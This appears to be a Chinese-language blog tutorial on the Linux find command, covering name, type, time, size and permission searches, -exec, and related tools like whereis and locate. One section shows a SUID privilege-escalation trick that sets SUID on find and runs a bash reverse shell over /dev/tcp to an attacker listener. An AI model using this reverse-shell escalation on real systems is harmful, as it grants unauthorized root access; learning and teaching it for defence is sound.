1.find 命令的常见用法

1.1 基础的打印操作

find命令默认接的命令是-print,它默认以\n将找到的文件分隔。可以使用-print0来使用\0分隔,这样就不会分行了。但是一定要注意,-print0针对的是\n转\0,如果查找的文件名本身就含有空格,则find后-print0仍然会显示空格文件。

[root@blackstone tmp]# mkdir /tmp/find_learn
[root@blackstone tmp]# touch /tmp/find_learn/aa{1..5}.log
#普通的打印
[root@blackstone tmp]# find /tmp/find_learn/
/tmp/find_learn/
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#print0打印,打印的时候替换\n为\0,连在一起打印。
[root@blackstone tmp]# find /tmp/find_learn/ -print0
/tmp/find_learn//tmp/find_learn/aa1.log/tmp/find_learn/aa2.log/tmp/find_learn/aa3.log/tmp/find_learn/aa4.log/tmp/find_learn/aa5.log[r

1.2 文件名搜索

常用的两个是-name和-path。

-name可以对文件的basename进行匹配,-path可以对文件的dirname+basename。查找的文件名最好使用引号包围,可以配合通配符进行查找。

basename其实就是文件的文件名,dirname就是文件名前跟着的那一大串目录。这二者不可以混合查找。

[root@blackstone tmp]# find /tmp -name '*.log'
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#尝试在名称中添加路径
[root@blackstone tmp]# find /tmp -name '*/*.log'
find: warning: Unix filenames usually don't contain slashes (though pathnames do).  That means that '-name ‘*/*.log’' will probably evaluate to false all the time on this system.  You might find the '-wholename' test more useful, or perhaps '-samefile'.  Alternatively, if you are using GNU grep, you could use 'find ... -print0 | grep -FzZ ‘*/*.log’'.

#正确的添加查询路径的操作
[root@blackstone tmp]# find /tmp -path '*/*.log'
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

注意,配合通配符[]时应该注意是基于字符顺序的,大小写字母的顺序是a-z –> A-Z,指定[a-z]表示小写字母a-z,同理[A-Z],而[a-zA-Z]和[a-Z]都表示所有大小写字母。当然还可以指定[a-A]表示a-z外加一个A。先小写再大写,看着确实对于习惯了ASCLL码的我们有些别扭。

当然还有它独特(蛇皮)的数字通配符配置:

[root@blackstone find2]# ls
11.sh  1.sh  22.sh  2.sh  3.sh
[root@blackstone find2]# find -name "[1-2].sh"
./1.sh
./2.sh
[root@blackstone find2]# find -name "[1-23].sh"
./1.sh
./2.sh
./3.sh
[root@blackstone find2]# find -name "[1-22-3].sh"
./1.sh
./2.sh
./3.sh

从上面结果可以看出,其实[]只能匹配单个字符,[0-9]表示0-9的数字,[1-20]表示[1-2]外加一个0,[1-23]表示[1-2]外加一个3,[1-22-3]表示[1-2]或[2-3],迷惑点就是看上去是大于10的整数,其实是两个或者更多的单个数字组合体。也可以用这种方法表示多种匹配:[1-2,2-3]。

1.3 根据文件类型搜索

一般需要搜索的文件类型就只有普通文件(f),目录(d),链接文件(l)。

例如,搜索普通文件类的文件,且名称为a开头的sh文件。

#查找目录
[root@blackstone tmp]# find /tmp -type d -name "*a*"
/tmp/find_learn

#查找文件
[root@blackstone tmp]# find /tmp -type f -name "*a*"
/tmp/yum_save_tx.2023-01-09.13-24.Bnd1Rv.yumtx
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#默认查找---同时查找文件与目录
[root@blackstone tmp]# find /tmp  -name "*a*"
/tmp/yum_save_tx.2023-01-09.13-24.Bnd1Rv.yumtx
/tmp/find_learn
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

1.4 根据文件的时间戳搜索

最基础的时间戳包括:-atime/-mtime/-ctime。

atime(Access Time) -文件的最近访问时间(cat、vim等)
mtime(Modify Time) -文件的内容最近修改的时间(vim编辑,重定向写入等) — 重点检查对象
ctime(Change Time) -文件属性最近修改的时间(内容、路径、所有者、权限等变化)

例如搜索/tmp下3天内修改过内容的sh文件,因为是文件内容,所以不考虑搜索目录。

[root@blackstone tmp]# find /tmp -type f -mtime -3 -name "*.sh"
/tmp/find2/11.sh
/tmp/find2/1.sh
/tmp/find2/2.sh
/tmp/find2/22.sh
/tmp/find2/3.sh

1.5 根据文件大小搜索:-size

例如搜索/下大于100M的文件

[root@blackstone tmp]# find / -size +100M 2>/dev/null
/proc/kcore
/sys/devices/pci0000:00/0000:00:0f.0/resource1_wc
/sys/devices/pci0000:00/0000:00:0f.0/resource1
/var/cache/yum/x86_64/7/updates/gen/primary_db.sqlite
/usr/sbin/mysqld
/usr/sbin/mysqld-debug
/usr/lib/locale/locale-archive

1.6 根据权限搜索:-perm

例如搜索/usr/bin/下所有者具有可读可写可执行权限的sh文件。

[root@blackstone tmp]# find /usr/bin -type f -perm -0700 -name '*.sh'
/usr/bin/lesspipe.sh
/usr/bin/gettext.sh
/usr/bin/setup-nsssysinit.sh
/usr/bin/jemalloc.sh

1.7 搜索到文件后并删除

添加了-exec参数之后我们的find命令可以执行新的命令,注意末尾的分号一定要加上。

示例:找到/tmp目录下名字为’1.sh’的文件并删除

[root@blackstone tmp]# find /tmp -type f -name '1.sh' -exec rm -rf '{}' \;
[root@blackstone tmp]# tree .
.
├── find2
│   ├── 11.sh
│   ├── 22.sh
│   ├── 2.sh
│   └── 3.sh

1.8 搜索指定日期范围的文件

例如搜索1月1号到现在所新生成的文件名为’.sh’的文件:

[root@blackstone tmp]# find / -name '*.sh' -newermt 2023-01-01 -a ! -newermt 2023-01-11
/tmp/find2/11.sh
/tmp/find2/2.sh
/tmp/find2/22.sh
/tmp/find2/3.sh

也可以以文件的时间作为我们的搜索的依据:

#搜索时间晚于文件时间的文件:
[root@blackstone tmp]# find /tmp -newer /tmp/find2/2.sh
/tmp/find2
/tmp/find2/22.sh
/tmp/find2/3.sh

2.find 命令的提权梗

之所以说它是个梗,是因为这样的提取方式早已经被限制死了。因为各大厂商收回了find命令的s权限,使得其无法利用s权限进行提权shell反弹。但是作为好学的同学还是有必要了解一下这样一个权限窃取的过程的。

首先,赋予find命令suid权限:

[root@blackstone ~]# which find
/bin/find
[root@blackstone ~]# ll /bin/find
-rwxr-xr-x. 1 root root 199200 Nov 20  2015 /bin/find
[root@blackstone ~]# chmod +s /bin/find

#查看权限获取情况
[root@blackstone ~]# ll /bin/find
-rwsr-sr-x. 1 root root 199200 Nov 20  2015 /bin/find

之后再攻击机上开启端口监听,本地切换为普通用户执行find中的命令执行反弹shell:

#1.攻击机端口监听
┌──(root????kali)-[~]
└─# nc -lvp 6666

#2.切换普通用户
[root@blackstone ~]# su - batman

#3.执行万恶的find提权命令
[batman@blackstone ~]$ find /etc/passwd -exec bash -ip >&/dev/tcp/192.168.2.159/6666 0>&1 \;

测试效果:

find命令的常见用法-小白菜博客
原理:因为find程序具有suid权限,故其在运行时实际上是拥有root的权限的,因此在执行反弹shell命令时可以将root的shell反弹到目标主机上去。

3.相似命令

3.1 wereis与which

whereis不只可以查找命令,其他文件类型都可以(man中说只能查命令、源文件和man文件,实际测试可以查大多数文件)。在$PATH路径基础上增加了一些系统目录的查找,查找范围比which稍大,查找速度快。可以通过 -b 选项,限定只搜索二进制文件。

[root@blackstone find3]# whereis ping
ping: /usr/bin/ping /usr/share/man/man8/ping.8.gz

[root@blackstone find3]# which ping
/bin/ping

which命令常用于查找可直接执行的命令。只能查找可执行文件,该命令基本只在$PATH路径中搜索,查找范围最小,查找速度快。默认只返回第一个匹配的文件路径,通过选项 -a 可以返回所有匹配结果。

3.2 locate命令

超快速查找任意文件。它会从linux内置的索引数据库查找文件的路径,索引速度超快。刚刚新建的文件可能需要一定时间才能加入该索引数据库,可以通过执行updatedb命令来强制更新一次索引,这样确保不会遗漏文件。该命令通常会返回大量匹配项,可以使用 -r 选项通过正则表达式来精确匹配。

#安装方法
[root@blackstone]# yum install mlocate

#使用示例  -r 添加正则匹配规则,嘎嘎快,用了都说好!
[root@blackstone find3]# locate -r 'my[a-z]ql.log'
/usr/share/mysql/mysql-log-rotate
/var/log/mysql.log